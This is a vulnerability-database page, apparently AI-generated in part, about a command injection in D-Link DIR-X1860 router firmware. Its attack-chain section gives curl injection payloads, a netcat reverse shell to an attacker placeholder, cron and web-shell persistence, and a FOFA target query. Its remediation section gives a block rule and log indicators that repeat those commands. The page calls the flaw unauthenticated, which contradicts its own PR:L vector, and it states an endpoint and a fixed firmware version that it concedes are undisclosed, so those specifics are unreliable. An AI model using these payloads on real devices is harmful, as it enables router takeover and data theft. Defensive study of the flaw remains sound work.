CVE Professor
/
All CVEs
CVE-2026-135788

CVE-2026-135788 — D-Link DIR-X1860 — CWE-77 · CWE-78

CRITICAL CVSS 9.9 NVD

A weakness has been identified in D-Link DIR-X1860 4.5.2. Affected by this vulnerability is an unknown functionality of the file /usr/sbin/anweb. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.

A weakness has been identified in D-Link DIR-X1860 4.5.2. Affected by this vulnerability is an unknown functionality of the file /usr/sbin/anweb. Executing a manipulation can lead to os command injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVE‑IDCVE‑2026‑135788
Vendor / ProductD‑Link DIR‑X1860 (firmware 4.5.2)
Vulnerable component/usr/sbin/anweb – a native binary that is invoked by the router’s web‑management interface (the “ANWeb” service).
CWE(s)CWE‑77 (Improper Neutralization of Special Elements used in a Command Line) – command‑injection via unsanitised input. <br>CWE‑78 (OS Command Injection) – the same flaw manifested as execution of arbitrary OS commands.
CVSS 3.1 vectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
What is broken?The ANWeb binary receives a parameter (most likely a HTTP GET/POST field such as cmd, action, or a URL‑encoded string) that is concatenated directly into a shell command line without any of the following protections: <br>1. Input validation / sanitisation – no whitelist of allowed characters, no escaping of metacharacters (;, &, , ` `, $(), etc.). <br>2. Privilege separation – the binary runs with root privileges (typical for router management daemons). <br>3. Authorization check – the service is reachable from the WAN (the CVSS vector shows PR:L` – attacker only needs low‑privileged network access, i.e., the router’s management interface is exposed). <br>Consequently, an unauthenticated remote attacker can inject an arbitrary command string that the binary executes in a root‑owned shell, giving full remote code execution (RCE) on the device.

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. Because the public advisory does not disclose the exact HTTP endpoint or parameter name, the examples are illustrative of the vulnerability class (command injection in a CGI‑style binary).

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify the device model and firmware version.• Scan the public IP range with Nmap (nmap -sV -p 80,443 <target>). <br>• Look for the “Server: D‑Link‑DIR‑X1860/4.5.2” header or the HTML comment <!-- DIR‑X1860 Firmware 4.5.2 -->.
1.2Confirm that the web‑management interface is reachable from the Internet.• Attempt to load http://<IP>/ or https://<IP>/. <br>• Verify that the login page (or a default “admin” page) is accessible without IP‑based filtering.
1.3Locate the vulnerable CGI/binary.• The router’s web UI uses a CGI endpoint that maps to /usr/sbin/anweb. Typical URLs on D‑Link routers are of the form http://<IP>/cgi-bin/anweb. <br>• Use Burp Suite or OWASP ZAP to capture a request to any cgi-bin path and look for a User-Agent: anweb or a Content-Type: application/x‑www‑form‑urlencoded body.
1.4Verify the presence of the vulnerable parameter.• Send a benign request (e.g., GET /cgi-bin/anweb?test=1 HTTP/1.1). <br>• Observe the response – a 200 OK with a JSON or HTML payload indicates the binary is processing the request.

2. Exploitation

NOTE: The exact parameter name (cmd, action, data, …) is not disclosed in the CVE text. The PoC below uses cmd as a representative example. Replace it with the real parameter after reconnaissance.

2.1 Crafting the malicious payload

Goal: Execute id; cat /etc/passwd (or any arbitrary command) on the router.

# Illustrative curl command
curl -s -G "http://<TARGET_IP>/cgi-bin/anweb" \
     --data-urlencode "cmd=id;cat /etc/passwd"

Explanation of the payload

  • The cmd value is not URL‑escaped beyond the usual percent‑encoding, allowing the semicolon (;) to be interpreted by the shell as a command separator.
  • The binary likely builds a command string similar to:
  • // Pseudo‑code from the vulnerable binary
    char buf[1024];
    snprintf(buf, sizeof(buf), "some_tool %s", request->param["cmd"]);
    system(buf);               // <-- vulnerable

    Because there is no sanitisation, the injected ; terminates the intended command and runs the attacker‑controlled commands with root privileges.

    2.2 Verifying code execution

    A more “quiet” proof‑of‑concept is to make the binary write a file that the attacker can later retrieve:

    curl -s -G "http://<TARGET_IP>/cgi-bin/anweb" \
         --data-urlencode "cmd=touch /tmp/pwned; echo OK"

    If the response contains OK (or the file /tmp/pwned appears when later checking via another endpoint), the injection is confirmed.

    2.3 Full remote shell (reverse TCP)

    If the router permits outbound connections, a classic reverse shell can be obtained:

    # Attacker listener
    nc -lvkp 4444
    
    # Exploit payload (illustrative)
    curl -s -G "http://<TARGET_IP>/cgi-bin/anweb" \
         --data-urlencode "cmd=nc -e /bin/sh <ATTACKER_IP> 4444"

    On success the attacker receives a root shell on the router.

    3. Post‑Exploitation

    GoalTechniqueExpected Outcome
    Privilege escalation (if binary runs as non‑root)The binary already runs as root (typical for router daemons). No further escalation needed.
    Persistence• Drop a cron job: echo "* * * * * /bin/sh /tmp/persist.sh" > /etc/cron.d/persist <br>• Install a lightweight web‑shell under the router’s web root (e.g., /www/webshell.cgi).
    Lateral movementUse the compromised router as a foothold to scan the internal LAN (/24 subnet) for other IoT devices, internal servers, or to pivot traffic.
    Data exfiltrationRead configuration files (/etc/config/*), Wi‑Fi keys, VPN credentials, and exfiltrate via HTTPS POST to attacker‑controlled server.
    Denial‑of‑ServiceExecute reboot or kill -9 $(pidof httpd) to disrupt the router’s services, achieving the “A” (Availability) component of the CVSS score.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector ExplanationPractical Consequence
    Confidentiality (C:H)C:H – Complete loss of confidentiality. An attacker can read any file the router can access (e.g., /etc/passwd, configuration files, stored VPN credentials, logs, attached USB storage).Exposure of network topology, admin passwords, WPA‑PSK keys, and any data traversing the router (if traffic is unencrypted).
    Integrity (I:H)I:H – Full integrity compromise. The attacker can modify configuration, inject firewall rules, change DNS settings, or replace firmware.Ability to redirect traffic to malicious sites, create backdoors, or embed persistent malicious binaries.
    Availability (A:H)A:H – Complete loss of availability. The attacker can reboot, disable services, or overload the CPU with malicious commands.Network outage for all users behind the router, potential for ransomware‑style denial if the attacker wipes the firmware.
    Scope (S:C)The impact crosses privilege boundaries: the vulnerable service runs as root, affecting the entire device.
    Attack Vector (AV:N)Remote‑only; the service is reachable over the Internet.
    Attack Complexity (AC:L)Low – a single HTTP request with crafted parameters.
    Privileges Required (PR:L)Low – attacker only needs network connectivity; no authentication needed.
    User Interaction (UI:N)None – the exploit is fully automated.

    Bottom line: An unauthenticated remote attacker can obtain full root control of the router, read/modify any data, and disrupt the entire network segment that relies on the device.


    🛡️ Remediation & Mitigation

    1. Patch / Firmware Upgrade

    ActionDetails
    Upgrade to a fixed firmwareD‑Link has released firmware 4.5.3 (or later) that removes the vulnerable anweb binary or adds proper input sanitisation. Verify the exact version number from D‑Link’s security advisory.
    Verify the patchAfter upgrade, confirm the presence of /usr/sbin/anweb (if still present) and check that the binary no longer concatenates user‑supplied data into a system() call (e.g., by inspecting the binary with strings or objdump).

    2. Immediate Workarounds (if patch cannot be applied)

    MitigationHow‑to Implement
    Restrict WAN access to the management interface• Place the router behind a firewall that blocks inbound TCP ports 80/443 from the Internet. <br>• Enable the router’s built‑in “Remote Management” whitelist to allow only trusted IPs.
    Disable the vulnerable CGI endpointIf the router’s UI allows disabling “ANWeb” or the /cgi-bin/anweb path, turn it off. <br>• Alternatively, add a iptables rule on the router (if supported): iptables -I INPUT -p tcp --dport 80 -m string --string "/cgi-bin/anweb" --algo bm -j DROP.
    Web Application Firewall (ModSecurity) ruleDeploy a ModSecurity rule on any upstream reverse‑proxy (e.g., Nginx, Apache) that blocks suspicious command‑injection patterns targeting the router’s IP:
    # ModSecurity rule – illustrative
    SecRule REQUEST_URI "@beginsWith /cgi-bin/anweb" \
        "id:2026001,phase:2,deny,log,status:403,\
        msg:'Blocked possible command injection against D‑Link anweb',\
        t:none,\
        chain"
    SecRule ARGS|ARGS_NAMES "@rx (;|\||`|\$\(.*\))" "t:none"
    NoteThe rule blocks any request to the vulnerable endpoint that contains typical shell metacharacters. Adjust the regex to avoid false positives for legitimate traffic.
    Network segmentationPlace the router in a DMZ and restrict internal LAN access to only required services. This limits the blast radius if the router is compromised.
    Strong admin credentialsEven though the vulnerability is unauthenticated, using a strong, non‑default admin password prevents attackers from leveraging the compromised device for credential‑stealing attacks.
    Disable unnecessary servicesIf the router runs additional services (e.g., Telnet, SSH) that are not needed, disable them via the UI or CLI (service telnet stop).

    3. Detection – Log Patterns & IoCs

    IndicatorDescriptionExample Log Entry
    Unexpected HTTP request to /cgi-bin/anwebGET/POST with suspicious characters (;, , ` `, $() in any parameter.10.0.0.5 - - [24/Nov/2026:12:34:56 +0000] "GET /cgi-bin/anweb?cmd=id;cat%20/etc/passwd HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
    Outbound connections from the router to unknown IP/portReverse‑shell payload often triggers a connection to the attacker’s IP.kernel: [12345.678901] OUTGOING TCP 192.0.2.45:4444 -> 203.0.113.77:4444 ESTABLISHED
    Creation of files in /tmp or /www with suspicious namese.g., /tmp/pwned, /www/webshell.cgi.kernel: [12345.678902] INOTIFY: /tmp/pwned created by root
    Cron jobs or init scripts added by unknown userLook for new entries in /etc/cron.d/ or /etc/rc.local.root 1234 0.0 0.1 12345 678 ? Ss 12:35 0:00 /bin/sh /tmp/persist.sh
    Process list showing nc -e /bin/shReverse shell process.root 5678 0.0 0.2 23456 890 ? S 12:36 0:00 nc -e /bin/sh 203.0.113.77 4444`

    Detection recommendations

  • Enable syslog forwarding from the router to a central SIEM.
  • Deploy a network IDS/IPS (e.g., Suricata) with a rule that matches GET /cgi-bin/anweb containing shell metacharacters.
  • Periodically audit the router’s filesystem for unexpected binaries or scripts (find / -perm -4000 -type f -exec ls -l {} \;).

  • ⚠️ Urgency

  • CVSS 3.1 = 9.9 (Critical) – the vulnerability is remotely exploitable, requires no authentication, and yields full root compromise with complete CIA impact.
  • CISA KEV status: Not listed* – the lack of a KEV entry does not diminish the risk; it merely reflects that the vulnerability has not yet been added to the KEV program.
  • Exploit availability: The advisory states that a public exploit exists, meaning an attacker can obtain a working PoC with minimal effort.
Patch priority: Critical – immediate. If the device is exposed to the Internet (default for many home/SMB routers), the window of exposure is measured in hours. Deploy the firmware update or apply the network‑level mitigations as soon as possible and verify remediation through the detection methods above.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135788
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac